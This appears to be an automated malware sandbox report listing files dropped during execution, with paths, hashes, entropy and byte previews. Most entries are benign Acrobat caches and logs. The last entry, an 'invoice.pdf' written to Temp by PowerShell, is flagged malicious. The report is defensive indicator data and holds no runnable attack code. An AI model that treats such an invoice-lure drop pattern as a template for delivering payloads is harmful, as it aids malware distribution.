Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1b57717ad627ad570083964d69100e85","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736529844000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c79934355640e2c0434eb74be4f80ca7","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736529844000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"1a39f4b4b95dbfe0b666490abedea936","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736529844000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"926ae96a860cc46cb3dc3c4d0a06031f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736529844000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f7d8084a03fa055ca9f4df0649245610","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736529844000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"e7ab716c10ff9f68b674227290ec63c3","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.319886785621728
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y0W+EXSqXl+:TGufl2GL7msUKB0M0+Tb608Y0Prcu
MD5:	D58F175CF1D22B5361FDAFB99CFD37C3
SHA1:	26015A2397D8E69CAA84A1A3382982910E9ABF98
SHA-256:	D722218DE1650E5E741C52DFC7F2E1887A0671F15DA6179A4BA6A2F8D2FA7D03
SHA-512:	6DABB1DA770C5BCBDFECE2C28C4CF2E0CF432C3C4D044146611496AA034A13AFD2BD72B436ACCE40C745F4782A6ECED0F79464F0D441F58423B79B8A343E080C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7817461540426545
Encrypted:	false
SSDEEP:	24:7+tjWl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y0W/EXSqXlyGKaiKqLhx/XYKQ3:7MjUKB0M0+Tb608Y0OrGKWqFl2GL7msE
MD5:	2DC7D506801185C82C916116A9A78712
SHA1:	6758B2B966F0803E92F384C275A3B333483C0777
SHA-256:	524EE3A5BF39174D34C9FEF9E120FC982DE4BBC17E7F5C02684F64E0A403FF7B
SHA-512:	38369DA0167CE31567F219D13DC0E5AA262A166C8E70DFCEB72F032720A3F70B933984EDFE34C5F9703AA17EB9007F3EDAE1225D70C7E94D14478AF1AC158EFA
Malicious:	false
Preview:	.... .c.......Z...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg+b0N+fYCE1vrbR9XPWy3W+mpAYyu:6a6TZ44ADE+b3fYCwvrbRZPNK
MD5:	D1055EBC73FB11DAD5D068C5B709E711
SHA1:	AE8A2925EA8EFF557EE92342B10EA497FE0E25AD
SHA-256:	95386C0418CECE687E4777E65F54C8EFCDC1D13B9FFA72E87DC96D80B9EE02C0
SHA-512:	65548ECF56351950A83B947CBD9E6A9BCF16862DBCB6773EADC12030D75AEADD2CE4E9F1170A8435782F24827629844A1272B190083CDEE569DEAE6E942CF54E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIb5b56.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4965336456103326
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3P:Qw946cPbiOxDlbYnuRK+bD3P
MD5:	9D9486BEB9BD7FF62D7CA15CCE1EFE44
SHA1:	F280DE4697E81B847E16E8464C4303DDC4A2D368
SHA-256:	C4355BFD7BCEB60D31D491A6530A56A1FA050A77F9BC5879F3222B31BA36DDB9
SHA-512:	6E43EEBCA9D71BFBAAC9E21AF0B8A996394D52BBEE8D5344ADDFD013F6F5AE2135A293744AF5E912F56091C7F70A4B0FF6AAF72D38F00B2662B1E53CBA567ED3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.2.4.:.0.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bxn4zdv3.00z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_k5tkzpwh.s43.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A93oqbvw_1smcv4p_5tc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9nc8ynp_1smcv4q_5tc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-23-57-581.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.379485318761256
Encrypted:	false
SSDEEP:	384:HNfQ8OllUNcmE+pMTZkVkIPCp3NW3UIslX9comSGsdjFu8WSUWzaW+v+vGjZ/xMt:uE43
MD5:	AF3ADB2789B8294D6F48DDCFE469552E
SHA1:	63BD757B6EFE9D5A06ECE4E76E3A9CC5D71AE4E9
SHA-256:	C8209744E261DB14FD0873C432587C9441A1B9A136880E2ECE3C7FD61A91F045
SHA-512:	1810BE41D6B78052E9F23492EE6B46BC115C57A2157E7AF1C8577CD4634A05ABE55D7CF8AD83E86D1B10C2E271B8000157E6EC96CC26AF387F8707D397AFDE60
Malicious:	false
Preview:	SessionID=9f1cf13e-f863-46cf-99d5-b7b6cc020d69.1736529837592 Timestamp=2025-01-10T12:23:57:592-0500 ThreadID=8536 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=9f1cf13e-f863-46cf-99d5-b7b6cc020d69.1736529837592 Timestamp=2025-01-10T12:23:57:593-0500 ThreadID=8536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=9f1cf13e-f863-46cf-99d5-b7b6cc020d69.1736529837592 Timestamp=2025-01-10T12:23:57:593-0500 ThreadID=8536 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=9f1cf13e-f863-46cf-99d5-b7b6cc020d69.1736529837592 Timestamp=2025-01-10T12:23:57:593-0500 ThreadID=8536 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=9f1cf13e-f863-46cf-99d5-b7b6cc020d69.1736529837592 Timestamp=2025-01-10T12:23:57:594-0500 ThreadID=8536 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.398799023114809
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmE:EGvIcNYdq9/s
MD5:	0ECBBDA4A511BE1CD7A65FEFD889BAD6
SHA1:	9D89C07EEEA2C637258175E1CBE1030004ADD2D3
SHA-256:	E322225B1FBA4D59BA8BC9AA01AC5AB2C9251E4FC55D5D490C6FD2055F651BF2
SHA-512:	DCA98B706B9429DAE21492FB791FC3CEC12EC15CA1BDF01A9FDB6E80418EB5E889E2DAA8666077FD6688975DB436FCA68D4BAC8544B8995A412DDC9AA94C2B69
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\a2c24d23-2b18-4215-a1de-bbe32782baec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\aa869e4a-22ea-4068-af33-ac52715a873c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\efff7faf-1df5-4737-9543-ad56bf1dcb20.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fb15b6fa-6fed-45c7-aa1e-033803d367fc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/nZwYIGNPzWL07oYGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:fZwZG5WLxYGZn3mlind9i4ufFXpAXkru
MD5:	F43041C007C55C623135DD65EBCBE292
SHA1:	0F5781369DB2C967A1795898030244B2E9D561F6
SHA-256:	4F7827EA2E3ACAA6A1B5BC7969516DD8EF08AC789E9C5FBCE61A71D0553C2B8D
SHA-512:	E5D1D615B902E4D66FD550BDF1418FE7D70BC08548EA006891F90CB183299D6700547205A3F2FEED6AE2C2F3A95B5F094356E4FB5451A36C4555CBFABE4D44F5
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
